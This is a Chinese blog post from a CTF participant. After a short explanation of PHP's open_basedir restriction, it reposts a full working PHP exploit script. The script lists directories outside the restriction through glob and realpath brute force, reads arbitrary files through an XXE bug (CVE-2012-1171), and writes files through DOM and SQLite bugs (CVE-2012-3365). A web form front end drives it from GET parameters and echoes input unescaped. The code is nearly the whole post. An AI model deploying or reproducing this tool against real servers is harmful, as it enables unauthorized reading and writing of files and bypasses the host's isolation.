绕过open_basedir读文件脚本
2016年11月13日 01:28:21
阅读数:1221

参加了一场2016年的sycsec感觉又学到不少东西

废话不多说,首先啥是open_basedir?

open_basedir: 将用户可操作的文件限制在某目录下

具体的设置方法可以参考:http://blog.csdn.net/white__cat/article/details/32734343

这样设置之后,原则上被限制之外的目录是无法读写文件的,但是有一个漏洞却打破了这个限制

参考p牛的文章:https://www.leavesongs.com/bypass-open-basedir-readfile.html

但是p牛给的脚本报错,老是读不到文件,这里我在比赛服务器里面找到一个神器的脚本可以成功,下面是那个神奇的php:

[php] view plain copy
  1. <?php
  2. /*
  3. PHP open_basedir bypass collection
  4. Works with >= PHP5
  5. By /fd, @filedescriptor(https://twitter.com/filedescriptor)
  6. */
  7. // Assistant functions
  8. function getRelativePath($from, $to) {
  9. // some compatibility fixes for Windows paths
  10. $from = rtrim($from, '\/') . '/';
  11. $from = str_replace('\\', '/', $from);
  12. $to = str_replace('\\', '/', $to);
  13. $from = explode('/', $from);
  14. $to = explode('/', $to);
  15. $relPath = $to;
  16. foreach ($from as $depth => $dir) {
  17. // find first non-matching dir
  18. if ($dir === $to[$depth]) {
  19. // ignore this directory
  20. array_shift($relPath);
  21. } else {
  22. // get number of remaining dirs to $from
  23. $remaining = count($from) - $depth;
  24. if ($remaining > 1) {
  25. // add traversals up to first matching dir
  26. $padLength = (count($relPath) + $remaining - 1) * -1;
  27. $relPath = array_pad($relPath, $padLength, '..');
  28. break;
  29. } else {
  30. $relPath[0] = './' . $relPath[0];
  31. }
  32. }
  33. }
  34. return implode('/', $relPath);
  35. }
  36. function fallback($classes) {
  37. foreach ($classes as $class) {
  38. $object = new $class;
  39. if ($object->isAvailable()) {
  40. return $object;
  41. }
  42. }
  43. return new NoExploit;
  44. }
  45. // Core classes
  46. interface Exploitable {
  47. function isAvailable();
  48. function getDescription();
  49. }
  50. class NoExploit implements Exploitable {
  51. function isAvailable() {
  52. return true;
  53. }
  54. function getDescription() {
  55. return 'No exploit is available.';
  56. }
  57. }
  58. abstract class DirectoryLister implements Exploitable {
  59. var $currentPath;
  60. function isAvailable() {}
  61. function getDescription() {}
  62. function getFileList() {}
  63. function setCurrentPath($currentPath) {
  64. $this->currentPath = $currentPath;
  65. }
  66. function getCurrentPath() {
  67. return $this->currentPath;
  68. }
  69. }
  70. class GlobWrapperDirectoryLister extends DirectoryLister {
  71. function isAvailable() {
  72. return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
  73. }
  74. function getDescription() {
  75. return 'Directory listing via glob pattern';
  76. }
  77. function getFileList() {
  78. $file_list = array();
  79. // normal files
  80. $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
  81. foreach ($it as $f) {
  82. $file_list[] = $f->__toString();
  83. }
  84. // special files (starting with a dot(.))
  85. $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
  86. foreach ($it as $f) {
  87. $file_list[] = $f->__toString();
  88. }
  89. sort($file_list);
  90. return $file_list;
  91. }
  92. }
  93. class RealpathBruteForceDirectoryLister extends DirectoryLister {
  94. var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
  95. , $extension = array()
  96. , $charactersLength = 38
  97. , $maxlength = 3
  98. , $fileList = array();
  99. function isAvailable() {
  100. return ini_get('open_basedir') && function_exists('realpath');
  101. }
  102. function getDescription() {
  103. return 'Directory listing via brute force searching with realpath function.';
  104. }
  105. function setCharacters($characters) {
  106. $this->characters = $characters;
  107. $this->charactersLength = count($characters);
  108. }
  109. function setExtension($extension) {
  110. $this->extension = $extension;
  111. }
  112. function setMaxlength($maxlength) {
  113. $this->maxlength = $maxlength;
  114. }
  115. function getFileList() {
  116. set_time_limit(0);
  117. set_error_handler(array(__CLASS__, 'handler'));
  118. $number_set = array();
  119. while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
  120. $this->searchFile($number_set);
  121. }
  122. sort($this->fileList);
  123. return $this->fileList;
  124. }
  125. function nextCombination($number_set, $length) {
  126. if (!isset($number_set[$length])) {
  127. $number_set[$length] = 0;
  128. return $number_set;
  129. }
  130. if ($number_set[$length] + 1 === $this->charactersLength) {
  131. $number_set[$length] = 0;
  132. $number_set = $this->nextCombination($number_set, $length + 1);
  133. } else {
  134. $number_set[$length]++;
  135. }
  136. return $number_set;
  137. }
  138. function searchFile($number_set) {
  139. $file_name = 'a';
  140. foreach ($number_set as $key => $value) {
  141. $file_name[$key] = $this->characters[$value];
  142. }
  143. // normal files
  144. realpath($this->getCurrentPath() . $file_name);
  145. // files with preceeding dot
  146. realpath($this->getCurrentPath() . '.' . $file_name);
  147. // files with extension
  148. foreach ($this->extension as $extension) {
  149. realpath($this->getCurrentPath() . $file_name . $extension);
  150. }
  151. }
  152. function handler($errno, $errstr, $errfile, $errline) {
  153. $regexp = '/File(.∗)(.∗) is not within/';
  154. preg_match($regexp, $errstr, $matches);
  155. if (isset($matches[1])) {
  156. $this->fileList[] = $matches[1];
  157. }
  158. }
  159. }
  160. abstract class FileWriter implements Exploitable {
  161. var $filePath;
  162. function isAvailable() {}
  163. function getDescription() {}
  164. function write($content) {}
  165. function setFilePath($filePath) {
  166. $this->filePath = $filePath;
  167. }
  168. function getFilePath() {
  169. return $this->filePath;
  170. }
  171. }
  172. abstract class FileReader implements Exploitable {
  173. var $filePath;
  174. function isAvailable() {}
  175. function getDescription() {}
  176. function read() {}
  177. function setFilePath($filePath) {
  178. $this->filePath = $filePath;
  179. }
  180. function getFilePath() {
  181. return $this->filePath;
  182. }
  183. }
  184. // Assistant class for DOMFileWriter & DOMFileReader
  185. class StreamExploiter {
  186. var $mode, $filePath, $fileContent;
  187. function stream_close() {
  188. $doc = new DOMDocument;
  189. $doc->strictErrorChecking = false;
  190. switch ($this->mode) {
  191. case 'w':
  192. $doc->loadHTML($this->fileContent);
  193. $doc->removeChild($doc->firstChild);
  194. $doc->saveHTMLFile($this->filePath);
  195. break;
  196. default:
  197. case 'r':
  198. $doc->resolveExternals = true;
  199. $doc->substituteEntities = true;
  200. $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
  201. echo $doc->documentElement->firstChild->nodeValue;
  202. }
  203. }
  204. function stream_open($path, $mode, $options, &$opened_path) {
  205. $this->filePath = substr($path, 10);
  206. $this->mode = $mode;
  207. return true;
  208. }
  209. public function stream_write($data) {
  210. $this->fileContent = $data;
  211. return strlen($data);
  212. }
  213. }
  214. class DOMFileWriter extends FileWriter {
  215. function isAvailable() {
  216. return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
  217. }
  218. function getDescription() {
  219. return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
  220. }
  221. function write($content) {
  222. // set it to global resource in order to trigger RSHUTDOWN
  223. global $_DOM_exploit_resource;
  224. stream_wrapper_register('exploit', 'StreamExploiter');
  225. $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
  226. fwrite($_DOM_exploit_resource, $content);
  227. }
  228. }
  229. class DOMFileReader extends FileReader {
  230. function isAvailable() {
  231. return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
  232. }
  233. function getDescription() {
  234. return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
  235. }
  236. function read() {
  237. // set it to global resource in order to trigger RSHUTDOWN
  238. global $_DOM_exploit_resource;
  239. stream_wrapper_register('exploit', 'StreamExploiter');
  240. $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
  241. }
  242. }
  243. class SqliteFileWriter extends FileWriter {
  244. function isAvailable() {
  245. return is_writable(getcwd())
  246. && (extension_loaded('sqlite3') || extension_loaded('sqlite'))
  247. && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
  248. }
  249. function getDescription() {
  250. return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
  251. }
  252. function write($content) {
  253. $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
  254. mkdir(':memory:');
  255. $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
  256. $payload = str_replace('\'', '\'\'', $content);
  257. $database = new $sqlite_class(":memory:/{$payload_path}");
  258. $database->exec("CREATE TABLE foo (bar STRING)");
  259. $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
  260. $database->close();
  261. rmdir(':memory:');
  262. }
  263. }
  264. // End of Core
  265. ?>
  266. <?php
  267. $action = isset($_GET['action']) ? $_GET['action'] : '';
  268. $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
  269. $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
  270. $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
  271. $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
  272. $fileReader = fallback(array('DOMFileReader'));
  273. $append = '';
  274. ?>
  275. <style>
  276. #panel {
  277. height: 200px;
  278. overflow: hidden;
  279. }
  280. #panel > pre {
  281. margin: 0;
  282. height: 200px;
  283. }
  284. </style>
  285. <div id="panel">
  286. <pre id="dl">
  287. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
  288. <form style="display:inline-block" action="">
  289. <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
  290. <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
  291. <?php
  292. $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
  293. $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
  294. $append = "&characters={$characters}&maxlength={$maxlength}";
  295. $directorLister->setMaxlength($maxlength);
  296. ?>
  297. Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
  298. Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
  299. <?php endif;?>
  300. Description      : <strong><?php echo $directorLister->getDescription(); ?></strong>
  301. </fieldset>
  302. </form>
  303. </pre>
  304. <?php
  305. $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
  306. ?>
  307. <pre id="rf">
  308. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
  309. <form style="display:inline-block" action="">
  310. <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
  311. Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
  312. </fieldset>
  313. </form>
  314. </pre>
  315. <pre id="wf">
  316. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
  317. <form style="display:inline-block" action="">
  318. <fieldset><legend>Write File :</legend>File Path   : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
  319. File Content: <textarea cols="70" name="content"></textarea>
  320. Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
  321. </fieldset>
  322. </form>
  323. </pre>
  324. </div>
  325. <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
  326. <hr>
  327. <pre>
  328. <?php if ($action === 'rf'): ?>
  329. <plaintext>
  330. <?php
  331. $fileReader->setFilePath($file_path);
  332. echo $fileReader->read();
  333. ?>
  334. <?php elseif ($action === 'wf'): ?>
  335. <?php
  336. if (isset($_GET['content'])) {
  337. $fileWriter->setFilePath($file_path);
  338. $fileWriter->write($_GET['content']);
  339. echo 'The file should be written.';
  340. } else {
  341. echo 'Something goes wrong.';
  342. }
  343. ?>
  344. <?php else: ?>
  345. <ol>
  346. <?php
  347. $directorLister->setCurrentPath($cwd);
  348. $file_list = $directorLister->getFileList();
  349. $parent_path = dirname($cwd);
  350. echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
  351. if (count($file_list) > 0) {
  352. foreach ($file_list as $file) {
  353. echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
  354. }
  355. } else {
  356. echo 'No files found. The path is probably not a directory.';
  357. }
  358. ?>
  359. </ol>
  360. <?php endif;?>

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/53146095

绕过open_basedir读文件脚本的更多相关文章

  1. php5全版本绕过open_basedir读文件脚本

    这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...

  2. [转] Bash脚本:怎样一行行地读文件(最好和最坏的方法)

    用bash脚本读文件的方法有很多.请看第一部分,我使用了while循环及其后的管道命令(|)(cat $FILE | while read line; do … ),并在循环当中递增 i 的值,最后, ...

  3. php绕过open_basedir设置

    原理关于open_basedir    open_basedir是php.ini中的一个配置选项    它可将用户访问文件的活动范围限制在指定的区域,    假设open_basedir=/home/ ...

  4. GoLang几种读文件方式的比较

    GoLang提供了很多读文件的方式,一般来说常用的有三种.使用Read加上buffer,使用bufio库和ioutil 库. 那他们的效率如何呢?用一个简单的程序来评测一下: package main ...

  5. Python之路 day2 按行读文件

    #1. 最基本的读文件方法: # File: readline-example-1.py file = open("sample.txt") while 1: line = fil ...

  6. LoadRunner下载文件脚本

    LoadRunner下载文件脚本  在看普泽关于pezybase的测试报告的时候,发现里面有用到jmeter(http协议)并发测试下载文件,考虑到后面可能需要在公司pezybase的并发下载,把之前 ...

  7. java的读文件操作

    java读取文件内容,可以作如下理解: 首先获得一个文件句柄,File file = new File():file即为文件句柄.两人之间联通电话网络了,就可以开始打电话了. 通过这条线路读取甲方的信 ...

  8. PHP使用feof()函数读文件的方法

    这篇文章主要介绍了PHP使用feof()函数读文件的方法,以实例形式对比了正确与错误的用法,阐明了feof()函数的使用技巧,需要的朋友可以参考下 本文实例讲述了PHP使用feof()函数读文件的方法 ...

  9. Java基础之读文件——使用输入流读取二进制文件(StreamInputFromFile)

    控制台程序,读取Java基础之读文件部分(StreamOutputToFile)写入的50个fibonacci数字. import java.nio.file.*; import java.nio.* ...

随机推荐

  1. HDU4825:Xor Sum 解题报告(0/1 Trie树)

    Problem Description Zeus 和 Prometheus 做了一个游戏,Prometheus 给 Zeus 一个集合,集合中包含了N个正整数. 随后 Prometheus 将向 Ze ...

  2. MVC获取当前Controller/Action名称

    1.视图中获取: var actionName=ViewContext.RouteData.Values["action"].ToString().ToLower(); var c ...

  3. Python Schema使用说明

    转自https://segmentfault.com/a/1190000011777230 Python Schema使用说明 Schema是什么? 不管我们做什么应用,只要和用户输入打交道,就有一个 ...

  4. 976 B. Lara Croft and the New Game

    You might have heard about the next game in Lara Croft series coming out this year. You also might h ...

  5. 微星(MSI)新主板B150M MORTAR U盘装win7的坎坷经历

    新买的微星主板,热心的同事帮忙装好了win10,但是显卡驱动没装好,屏幕都快看瞎了眼,再者,楼主非常不喜欢win10的花哨,所以就装回了win7.下面来说一下我装win7的痛苦经历. 我是用UItra ...

  6. POJ2104 K-th Number(线段树,二分,vector)

    题意 不带修改区间第k小.(n<=100000) 题解 建立线段数和vector数组(vector为当前区间排列之后的序列)(归并) 然后对于每一个询问二分答案. 问题就转化为区间有多少数小于等 ...

  7. python_webApp

    提高开发效率:当更改代码后,不重启服务器就能使用新效果 参考链接:https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df ...

  8. 03016_DBCP连接池

    1.连接池概述 (1)用池来管理Connection,这样可以重复使用Connection: (2)有了池,所以我们就不用自己来创建Connection,而是通过池来获取Connection对象: ( ...

  9. POJ2369 Permutations【置换群】

    题目链接: http://poj.org/problem?id=2369 题目大意: 给定一个序列.问最少须要多少次置换才干变为 1.2.-.N 的有序序列.比方说给 定5个数的序列 4 1 5 2 ...

  10. stl之set集合容器应用基础

    set集合容器使用一种称为红黑树(Red-Black Tree) 的平衡二叉检索树的数据结构,来组织泛化的元素数据.每一个节点包括一个取值红色或黑色的颜色域.以利于进行树的平衡处理.作为节点键值的元素 ...